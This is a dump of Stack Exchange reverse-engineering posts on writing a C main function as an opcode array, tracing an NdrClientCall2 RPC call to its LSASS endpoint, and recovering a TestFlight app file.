  <row Id="8113" PostTypeId="1" CreationDate="2015-01-29T00:54:57.330" Score="3" ViewCount="3052" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;My OS is Windows 7 64-bit and my processor is an Intel Core i7-4700MQ running on the x64 architecture. My program is 32-bit.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently, I read an article &lt;a href=&quot;https://jroweboy.github.io/c/asm/2015/01/26/when-is-main-not-a-function.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; describing how it is possible and legal in C to write the main function simply as a constant array of integers, characters, floats, doubles, etc.  The article went step-by-step in the process of writing assembly in linux and then transforming it into an array of constant integers in order to print &quot;Hello world!\n\0&quot;. I had never seen such a program before, so I decided it would be cool to make one that works on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my program, I display an ANSI style MessageBox with the title &quot;Made by CaptainObvious!\n\0&quot; and the the message &quot;C and assembly are for real men\n\0&quot;. I have the working inline assembly code in my C program shown below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main( )&#xA;{&#xA;    __asm__&#xA;    (&#xA;        &quot;sub $0x10, %esp;\n&quot;&#xA;        &quot;movl $0x0, 0x0(%esp);\n&quot;&#xA;        &quot;lea message, %eax;\n&quot;&#xA;        &quot;movl %eax, 0x4(%esp);\n&quot;&#xA;        &quot;lea title, %eax;\n&quot;&#xA;        &quot;movl %eax, 0x8(%esp);\n&quot;&#xA;        &quot;movl $0x00000040, 0xc(%esp);\n&quot;&#xA;        &quot;call _MessageBoxA@16;\n&quot;&#xA;        &quot;movl $0, %eax;\n&quot;&#xA;        &quot;leave;\n&quot;&#xA;        &quot;ret;\n&quot;&#xA;&#xA;        &quot;message: .ascii \&quot;C and assembly are for real men.\\n\\0\&quot;;&quot;&#xA;        &quot;title: .ascii \&quot;Made by CaptainObvious!\\n\\0\&quot;;&quot;&#xA;    );&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also to ensure that I could implement the technique used by the article, I wrote a simple array of opcodes that functions to return the value of 10 immediately after execution. The test was successfull, and that array is shown below :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const char main[] = { 0x55, 0x89, 0xe5, 0x83, 0xe4, 0xf0, 0x83, 0xec, 0x10, 0xe8, 0, 0, 0, 0, 0xb8, 10, 0, 0, 0, 0xc9, 0xc3 };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet when I tried to convert my more complex program to a constant array of integers, my program failed to execute with SIGILL (Illegal Instruction). Here is the relavent disassembly output from gdb :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00403040  and    $0xffffff89,%ebp&#xA;0x00403043  push   %ebp&#xA;0x00403044  add    %ch,%al&#xA;0x00403046  lock in $0x83,%al ; &amp;lt;--- SIGILL&#xA;; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon seeing the disassembly output from gdb, I suspected that my array of integers were wrong, but although I caught a few mistakes, it still throws the exact same SIGILL exception shown above. Here is what the current integer array is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const unsigned int main[] =&#xA;{&#xA;    0x5589e583, 0xe4f0e800, 0x00000083, 0xec10c704, 0x24000000,&#xA;    0x008d053d, 0x00000089, 0x4424048d, 0x055f0000, 0x00894424,&#xA;    0x08c74424, 0x0c400000, 0x00e80000, 0x0000b800, 0x000000c9,&#xA;    0xc3432061, 0x6e642061, 0x7373656d, 0x626c7920, 0x61726520,&#xA;    0x666f7220, 0x7265616c, 0x206d656e, 0x2e0a004d, 0x61646520,&#xA;    0x62792043, 0x68726973, 0x204f2754, 0x6f6f6c65, 0x210a00b8,&#xA;    0x00000000, 0xc9c39090&#xA;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Currently to get the hexadecimal opcodes, I dump the .text section of my program using the objdump.exe program that comes with the MinGW package. Here is the output of my program upon dumping the .text section :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly of section .text:&#xA;&#xA;00000000 &amp;lt;_main&amp;gt;:&#xA;   0:   55                      push   %ebp&#xA;   1:   89 e5                   mov    %esp,%ebp&#xA;   3:   83 e4 f0                and    $0xfffffff0,%esp&#xA;   6:   e8 00 00 00 00          call   b &amp;lt;_main+0xb&amp;gt;&#xA;   b:   83 ec 10                sub    $0x10,%esp&#xA;   e:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)&#xA;  15:   8d 05 3d 00 00 00       lea    0x3d,%eax&#xA;  1b:   89 44 24 04             mov    %eax,0x4(%esp)&#xA;  1f:   8d 05 5f 00 00 00       lea    0x5f,%eax&#xA;  25:   89 44 24 08             mov    %eax,0x8(%esp)&#xA;  29:   c7 44 24 0c 40 00 00    movl   $0x40,0xc(%esp)&#xA;  30:   00&#xA;  31:   e8 00 00 00 00          call   36 &amp;lt;_main+0x36&amp;gt;&#xA;  36:   b8 00 00 00 00          mov    $0x0,%eax&#xA;  3b:   c9                      leave&#xA;  3c:   c3                      ret&#xA;&#xA;0000003d &amp;lt;message&amp;gt;:&#xA;  3d:   43                      inc    %ebx&#xA;  3e:   20 61 6e                and    %ah,0x6e(%ecx)&#xA;  41:   64 20 61 73             and    %ah,%fs:0x73(%ecx)&#xA;  45:   73 65                   jae    ac &amp;lt;title+0x4d&amp;gt;&#xA;  47:   6d                      insl   (%dx),%es:(%edi)&#xA;  48:   62 6c 79 20             bound  %ebp,0x20(%ecx,%edi,2)&#xA;  4c:   61                      popa&#xA;  4d:   72 65                   jb     b4 &amp;lt;title+0x55&amp;gt;&#xA;  4f:   20 66 6f                and    %ah,0x6f(%esi)&#xA;  52:   72 20                   jb     74 &amp;lt;title+0x15&amp;gt;&#xA;  54:   72 65                   jb     bb &amp;lt;title+0x5c&amp;gt;&#xA;  56:   61                      popa&#xA;  57:   6c                      insb   (%dx),%es:(%edi)&#xA;  58:   20 6d 65                and    %ch,0x65(%ebp)&#xA;  5b:   6e                      outsb  %ds:(%esi),(%dx)&#xA;  5c:   2e 0a 00                or     %cs:(%eax),%al&#xA;&#xA;0000005f &amp;lt;title&amp;gt;:&#xA;  5f:   4d                      dec    %ebp&#xA;  60:   61                      popa&#xA;  61:   64 65 20 62 79          fs and %ah,%fs:%gs:0x79(%edx)&#xA;  66:   20 43 61                and    %al,0x61(%ebx)&#xA;  69:   70 74                   jo     df &amp;lt;title+0x80&amp;gt;&#xA;  6b:   61                      popa&#xA;  6c:   69 6e 4f 62 76 69 6f    imul   $0x6f697662,0x4f(%esi),%ebp&#xA;  73:   75 73                   jne    e8 &amp;lt;title+0x89&amp;gt;&#xA;  75:   21 0a                   and    %ecx,(%edx)&#xA;  77:   00 b8 00 00 00 00       add    %bh,0x0(%eax)&#xA;  7d:   c9                      leave&#xA;  7e:   c3                      ret&#xA;  7f:   90                      nop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This brings me back to my question, &lt;em&gt;how do I convert assembly to a constant array of integer opcodes for my main function&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="8215" LastActivityDate="2015-01-29T07:32:43.167" Title="How can I write my main function as assembly opcodes in an integer array?" Tags="|windows|assembly|c|gcc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8114" PostTypeId="2" ParentId="8113" CreationDate="2015-01-29T03:14:59.113" Score="3" Body="&lt;p&gt;You are executing code on a little-endian machine.  This means that this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0:   55                      push   %ebp&#xA;   1:   89 e5                   mov    %esp,%ebp&#xA;   3:   83 e4 f0                and    $0xfffffff0,%esp&#xA;   6:   e8 00 00 00 00          call   b &amp;lt;_main+0xb&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would be expressed as 32-bit unsigned hex integers as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  0x83e58955  0x00e8f0e4 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What you have is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const unsigned int main[] =&#xA;{&#xA;    0x5589e583, 0xe4f0e800, ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you see the difference?&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2015-01-29T03:14:59.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8115" PostTypeId="2" ParentId="8113" CreationDate="2015-01-29T07:32:43.167" Score="1" Body="&lt;p&gt;In addition to what Edward said about little endianness, if you check the objdump assembly, you'll see the &lt;code&gt;e8 00 00 00 00&lt;/code&gt; instructions at &lt;code&gt;06&lt;/code&gt; and &lt;code&gt;31&lt;/code&gt;, which both translate to &quot;call the next instruction&quot; or &quot;call the adress just behind myself&quot;. This is because the offset part - &lt;code&gt;00000000&lt;/code&gt; - is a dummy. The compiler doesn't know the real function address at runtime, so it justs emits a &lt;code&gt;00000000&lt;/code&gt; for the address, and creates relocation entries in a different section of the object file. When the program is run, the loader will resolve these relocation entries to the real ones. (*)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you just write the hex bytes in your program, there will be no relocation entries, so the program will really just call (jump to) the &quot;next&quot; address just behind the current one. Which has the interesting side effect that the called code gets executed, returns to where it was called, and just gets executed again. The intended function will not get called. You should probably try and single step your program with a debugger to see what's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing the assembly with your C program, you'll see that the first call (at &lt;code&gt;6&lt;/code&gt;) doesn't directly correspond to anything in your original program. This is quite likely setting up the stack canary, which you don't really need for your example. I'd just replace these 5 bytes with &lt;code&gt;nop&lt;/code&gt;s (0x90).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second call, which is at &lt;code&gt;0x31&lt;/code&gt;, is the call to MessageBoxA. We need to fix that to call the real &lt;code&gt;MessageBoxA&lt;/code&gt; function. Unfortunately, that's much harder than you'd think, these days. In older version of windows, the DLL that provides the &lt;code&gt;MessageBoxA&lt;/code&gt; function (&lt;code&gt;user.dll&lt;/code&gt;) always got loaded at the same address, so you could just find out which one it was, and call that address. But, since your technique is exactly what's used by malware in buffer overflow attacks, ASLR was invented - each time your program gets run, &lt;code&gt;user.dll&lt;/code&gt; gets a different base address, which means &lt;code&gt;MessageBoxA&lt;/code&gt; is at a different address, so you don't know what to call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Defeating ASLR ist not easy (it's not intended to be), and clearly out of scope for this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, in order to not disappoint you too much, and provide you with a working example, you could put your &quot;byte code&quot; into a function, and use main to patch that function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(void) {&#xA;    int func[]={ .... };   // your original byte code here&#xA;    int *patchpos=(int *)((char *)func+0x32); // this is the address part of the call at 0x31;&#xA;    int patchoffs=((char *)MessageBoxA)-((char *)patchpos)+4; // calculate the relative offset of MessageBoxA from the instruction behind patchpos&#xA;    *patchpos=patchoffs;   // patch the call&#xA;    (*(int (*)())func)();    // call func&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm not able to test it right now, maybe i got one of the offsets wrong. Single step it in a debugger if it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, the compiler will still emit a relocation entry for &lt;code&gt;MessageBoxA&lt;/code&gt;, and the C code can determine the real function address. If you want to get rid of that, and keep the byte array in &lt;code&gt;main&lt;/code&gt;, you'll have to patch the compiled .exe to create a relocation entry (hard because you need to know a lot about the PE format), or determine the address at runtime (hard because of ASLR).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(*) I'm oversimplifying a bit here and omitting the trampoline jump in the .plt section. But this answer is already long enough, and i'm not sure that windows handles this in the same way as linux, anyway.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-29T07:32:43.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8116" PostTypeId="1" AcceptedAnswerId="8118" CreationDate="2015-01-29T09:33:10.880" Score="7" ViewCount="3838" Body="&lt;p&gt;Hey i have a very time consuming problem, and i thought i might find someone here with better experience than mine that could help me out.&lt;/p&gt;&#xA;&lt;p&gt;I am reverse-engineering an application which at some point uses the &lt;em&gt;NdrClientCall2&lt;/em&gt; api to use a remote procedure of some other service (which i dont know which one that is)&lt;/p&gt;&#xA;&lt;p&gt;Now before i hear comments about not trying anything my self&#xA;There are some &lt;strong&gt;really good applications&lt;/strong&gt; to accomplish what i want like &lt;em&gt;&lt;strong&gt;NtTrace&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;Strace&lt;/strong&gt;&lt;/em&gt; and roughly &lt;em&gt;&lt;strong&gt;oSpy&lt;/strong&gt;&lt;/em&gt; can achieve the same result aswell eventually.&#xA;But my application has some really hard anti-debugging techniques which force me to do everything manually.&lt;/p&gt;&#xA;&lt;p&gt;What eventually i want to achieve is know what procedure is being called and on what service \ process.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa374215%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the NdrClientCall2 Decleration by MSDN&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CLIENT_CALL_RETURN RPC_VAR_ENTRY NdrClientCall2(&#xA;  __in          PMIDL_STUB_DESC pStubDescriptor,&#xA;  __in          PFORMAT_STRING pFormat,&#xA;  __in_out       ...&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so it uses the &lt;strong&gt;PMIDL_STUB_DESC&lt;/strong&gt; struct which its definition is as the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _MIDL_STUB_DESC {&#xA;  void                                 *RpcInterfaceInformation;&#xA;  void*                                (__RPC_API *pfnAllocate)(size_t);&#xA;  void                                 (__RPC_API *pfnFree)(void*);&#xA;  union {&#xA;    handle_t              *pAutoHandle;&#xA;    handle_t              *pPrimitiveHandle;&#xA;    PGENERIC_BINDING_INFO pGenericBindingInfo;&#xA;  } IMPLICIT_HANDLE_INFO;&#xA;  const NDR_RUNDOWN                    *apfnNdrRundownRoutines;&#xA;  const GENERIC_BINDING_ROUTINE_PAIR   *aGenericBindingRoutinePairs;&#xA;  const EXPR_EVAL                      *apfnExprEval;&#xA;  const XMIT_ROUTINE_QUINTUPLE         *aXmitQuintuple;&#xA;  const unsigned char                  *pFormatTypes;&#xA;  int                                  fCheckBounds;&#xA;  unsigned long                        Version;&#xA;  MALLOC_FREE_STRUCT                   *pMallocFreeStruct;&#xA;  long                                 MIDLVersion;&#xA;  const COMM_FAULT_OFFSETS             *CommFaultOffsets;&#xA;  const USER_MARSHAL_ROUTINE_QUADRUPLE *aUserMarshalQuadruple;&#xA;  const NDR_NOTIFY_ROUTINE             *NotifyRoutineTable;&#xA;  ULONG_PTR                            mFlags;&#xA;  const NDR_CS_ROUTINES                *CsRoutineTables;&#xA;  void                                 *Reserved4;&#xA;  ULONG_PTR                            Reserved5;&#xA;} MIDL_STUB_DESC, *PMIDL_STUB_DESC;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here is how it looks like in windbg, when i put a breakpoint in the NdrClientCall2 function&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:006&amp;gt; .echo &amp;quot;Arguments:&amp;quot;; dds esp+4 L5&#xA;Arguments:&#xA;06d9ece4  74cc2158 SspiCli!sspirpc_StubDesc&#xA;06d9ece8  74cc2322 SspiCli!sspirpc__MIDL_ProcFormatString+0x17a&#xA;06d9ecec  06d9ed00&#xA;06d9ecf0  91640000&#xA;06d9ecf4  91640000&#xA;0:006&amp;gt; .echo &amp;quot;PMIDL_STUB_DESC:&amp;quot;; dds poi(esp+4) L20&#xA;PMIDL_STUB_DESC:&#xA;74cc2158  74cc2690 SspiCli!sspirpc_ServerInfo+0x24&#xA;74cc215c  74cca1cd SspiCli!MIDL_user_allocate&#xA;74cc2160  74cca1e6 SspiCli!MIDL_user_free&#xA;74cc2164  74ce0590 SspiCli!SecpCheckSignatureRoutineRefCount+0x4&#xA;74cc2168  00000000&#xA;74cc216c  00000000&#xA;74cc2170  00000000&#xA;74cc2174  00000000&#xA;74cc2178  74cc1c52 SspiCli!sspirpc__MIDL_TypeFormatString+0x2&#xA;74cc217c  00000001&#xA;74cc2180  00060001&#xA;74cc2184  00000000&#xA;74cc2188  0700022b&#xA;74cc218c  00000000&#xA;74cc2190  00000000&#xA;74cc2194  00000000&#xA;74cc2198  00000001&#xA;74cc219c  00000000&#xA;74cc21a0  00000000&#xA;74cc21a4  00000000&#xA;74cc21a8  48000000&#xA;74cc21ac  00000000&#xA;74cc21b0  001c0000&#xA;74cc21b4  00000032&#xA;74cc21b8  00780008&#xA;74cc21bc  41080646&#xA;74cc21c0  00000000&#xA;74cc21c4  000b0000&#xA;74cc21c8  00020004&#xA;74cc21cc  00080048&#xA;74cc21d0  21500008&#xA;74cc21d4  0008000c&#xA;0:006&amp;gt; .echo &amp;quot;PFORMAT_STRING:&amp;quot;; db poi(esp+8)&#xA;PFORMAT_STRING:&#xA;74cc2322  00 48 00 00 00 00 06 00-4c 00 30 40 00 00 00 00  .H......L.0@....&#xA;74cc2332  ec 00 bc 00 47 13 08 47-01 00 01 00 00 00 08 00  ....G..G........&#xA;74cc2342  00 00 14 01 0a 01 04 00-6e 00 58 01 08 00 08 00  ........n.X.....&#xA;74cc2352  0b 00 0c 00 20 01 0a 01-10 00 f6 00 0a 01 14 00  .... ...........&#xA;74cc2362  f6 00 48 00 18 00 08 00-48 00 1c 00 08 00 0b 00  ..H.....H.......&#xA;74cc2372  20 00 2c 01 0b 01 24 00-a2 01 0b 00 28 00 b8 01   .,...$.....(...&#xA;74cc2382  13 41 2c 00 a2 01 13 20-30 00 f8 01 13 41 34 00  .A,.... 0....A4.&#xA;74cc2392  60 01 12 41 38 00 f6 00-50 21 3c 00 08 00 12 21  `..A8...P!&amp;lt;....!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So how exactly do i figure out what is the remote process it is going to communicate with, or what pipe it is using to communicate?&lt;/p&gt;&#xA;&lt;p&gt;As far as i understand from the MSDN, it is supposed to call a remote procedure. if i understand that right, it means it should call a remote function as if its an exported dll function. How can i set a breakpoint there?&lt;/p&gt;&#xA;&lt;p&gt;P.S:&lt;/p&gt;&#xA;&lt;p&gt;The main reason im posing this function is because the NdrClientCall2 seems to be pretty huge.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-02-25T16:16:56.800" Title="at the rpcrt4!NdrClientCall2 function - how does it know which pipe to use in order to transfer data to another process?" Tags="|windbg|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8118" PostTypeId="2" ParentId="8116" CreationDate="2015-01-29T15:09:25.777" Score="10" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So how exactly do i figure out what is the remote process it is going&#xA;  to communicate with, or what pipe it is using to communicate?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The first step is to find the RPC client interface. This can be found via the first argument to &lt;code&gt;NdrClientCall2()&lt;/code&gt;, named &lt;code&gt;pStubDescriptor&lt;/code&gt;. In your question, &lt;code&gt;pStubDescriptor&lt;/code&gt; points to &lt;code&gt;SspiCli!sspirpc_StubDesc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And here is how it looks like in windbg, when i put a breakpoint in&#xA;  the NdrClientCall2 function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:006&amp;gt; .echo &quot;Arguments:&quot;; dds esp+4 L5&#xA;Arguments:&#xA;06d9ece4  74cc2158 SspiCli!sspirpc_StubDesc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SspiCli!sspirpc_StubDesc&lt;/code&gt; is a &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa374178(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;MIDL_STUB_DESC&lt;/code&gt;&lt;/a&gt;, and on my computer, here are its associated values (via IDA Pro):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct _MIDL_STUB_DESC const sspirpc_StubDesc MIDL_STUB_DESC&#xA;&amp;lt;&#xA;    offset dword_22229B8,&#xA;    offset SecClientAllocate(x),&#xA;    offset MIDL_user_free(x),&#xA;    &amp;lt;offset unk_22383F4&amp;gt;,&#xA;    0,&#xA;    0,&#xA;    0,&#xA;    0,&#xA;    offset word_22224B2,&#xA;    1,&#xA;    60001h,&#xA;    0,&#xA;    700022Bh,&#xA;    0,&#xA;    0,&#xA;    0,&#xA;    1,&#xA;    0,&#xA;    0,&#xA;    0&#xA;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa374178(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;As documented on MSDN&lt;/a&gt;, the first field in the structure above &quot;points to an RPC client interface structure&quot;. Thus, we can parse the data at that address as an &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa378503(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;RPC_CLIENT_INTERFACE&lt;/code&gt;&lt;/a&gt; struct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stru_22229B8    dd 44h                  ; Length&#xA;                dd 4F32ADC8h            ; InterfaceId.SyntaxGUID.Data1&#xA;                dw 6052h                ; InterfaceId.SyntaxGUID.Data2&#xA;                dw 4A04h                ; InterfaceId.SyntaxGUID.Data3&#xA;                db 87h, 1, 29h, 3Ch, 0CFh, 20h, 96h, 0F0h; InterfaceId.SyntaxGUID.Data4&#xA;                dw 1                    ; InterfaceId.SyntaxVersion.MajorVersion&#xA;                dw 0                    ; InterfaceId.SyntaxVersion.MinorVersion&#xA;                dd 8A885D04h            ; TransferSyntax.SyntaxGUID.Data1&#xA;                dw 1CEBh                ; TransferSyntax.SyntaxGUID.Data2&#xA;                dw 11C9h                ; TransferSyntax.SyntaxGUID.Data3&#xA;                db 9Fh, 0E8h, 8, 0, 2Bh, 10h, 48h, 60h; TransferSyntax.SyntaxGUID.Data4&#xA;                dw 2                    ; TransferSyntax.SyntaxVersion.MajorVersion&#xA;                dw 0                    ; TransferSyntax.SyntaxVersion.MinorVersion&#xA;                dd offset RPC_DISPATCH_TABLE const sspirpc_DispatchTable; DispatchTable&#xA;                dd 0                    ; RpcProtseqEndpointCount&#xA;                dd 0                    ; RpcProtseqEndpoint&#xA;                dd 0                    ; Reserved&#xA;                dd offset _MIDL_SERVER_INFO_ const sspirpc_ServerInfo; InterpreterInfo&#xA;                dd 4000000h             ; Flags&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa378503(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;RPC_CLIENT_INTERFACE&lt;/code&gt;&lt;/a&gt; struct above, we can extract the &lt;code&gt;InterfaceId&lt;/code&gt; GUID: &lt;code&gt;4F32ADC8-6052-4A04-8701-293CCF2096F0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can now look up that interface GUID with &lt;a href=&quot;http://www.rpcview.org/&quot; rel=&quot;noreferrer&quot;&gt;RpcView&lt;/a&gt; to find the associated DLL, running process, and endpoints:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T4JZp.png&quot; alt=&quot;Interfaces&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b1JI5.png&quot; alt=&quot;Process&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XRV4Z.png&quot; alt=&quot;Endpoints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out which specific endpoint is being used by the SSPI RPC server in the LSASS process, we can reverse engineer &lt;code&gt;sspisrv.dll&lt;/code&gt;. In the exported function &lt;code&gt;SspiSrvInitialize()&lt;/code&gt;, we see the following call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RpcServerUseProtseqEpW(L&quot;ncalrpc&quot;, 0xAu, L&quot;lsasspirpc&quot;, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To figure out which specific function is being called in &lt;code&gt;sspisrv.dll&lt;/code&gt;, we need to look at the &lt;code&gt;pFormat&lt;/code&gt; data passed to &lt;code&gt;NdrClientCall2&lt;/code&gt;. In your example code above, the &lt;code&gt;pFormat&lt;/code&gt; data is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 48 00 00 00 00 06 00-4c 00 30 40 00 00 00 00 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we parse the &lt;code&gt;pFormat&lt;/code&gt; data as an &lt;a href=&quot;http://doxygen.reactos.org/d5/d5b/structNDR__PROC__HEADER__RPC.html&quot; rel=&quot;noreferrer&quot;&gt;NDR_PROC_HEADER_RPC&lt;/a&gt; structure, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;handle_type = 0x00&#xA;Oi_flags    = 0x48&#xA;rpc_flags   = 0x00000000&#xA;proc_num    = 0x0006&#xA;stack_size  = 0x004C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;proc_num&lt;/code&gt;, we can see that this RPC call is calling the 6th RPC function in &lt;code&gt;sspisrv.dll&lt;/code&gt;. We can use RpcView again to get the address for the 6th RPC function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ihKKv.png&quot; alt=&quot;Procedures&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with IDA Pro, we can see the function in &lt;code&gt;sspisrv.dll&lt;/code&gt; at address &lt;code&gt;0x7573159D&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:7573159D __stdcall SspirProcessSecurityContext(x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x, x) proc near&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;RpcView also shows us a decompilation of that function's prototype:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yP5dk.png&quot; alt=&quot;Decompilation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that on your computer, the 6th function might not be at virtual address &lt;code&gt;0x7573159D&lt;/code&gt;, and furthermore, the 6th function might not be &lt;code&gt;SspirProcessSecurityContext()&lt;/code&gt;, but this is the approach you would use nonetheless.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, we can now say the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The RPC server code for your &lt;code&gt;NdrClientCall2()&lt;/code&gt; call is in &lt;code&gt;sspisrv.dll&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The RPC server for your &lt;code&gt;NdrClientCall2()&lt;/code&gt; call is running in LSASS's process&lt;/li&gt;&#xA;&lt;li&gt;The endpoint for your &lt;code&gt;NdrClientCall2()&lt;/code&gt; call is named &lt;code&gt;lsasspirpc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The RPC server function called by your &lt;code&gt;NdrClientCall2()&lt;/code&gt; call in &lt;code&gt;sspisrv.dll&lt;/code&gt; is &lt;code&gt;SspirProcessSecurityContext()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-01-31T01:05:22.520" LastActivityDate="2015-01-31T01:05:22.520" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8119" PostTypeId="1" CreationDate="2015-01-29T15:12:11.263" Score="3" ViewCount="3002" Body="&lt;p&gt;Normally if I want to see the binary and resources for an app, I connect my iPhone to my Macbook, sync with iTunes, and then all of my apps are in /Users/cybergibbons/Music/iTunes/iTunes Media/Mobile Applications as .ipa files which I can extract as zips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have recently been given access to a beta version of an app via TestFlight. Whilst TestFlight is in the above location, there is no evidence of the beta app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about getting the .ipa for the TestFlight app?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastActivityDate="2015-01-31T14:43:02.860" Title="Recovering .ipa file for TestFlight app on iOS 8 (not jailbroken)" Tags="|ios|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
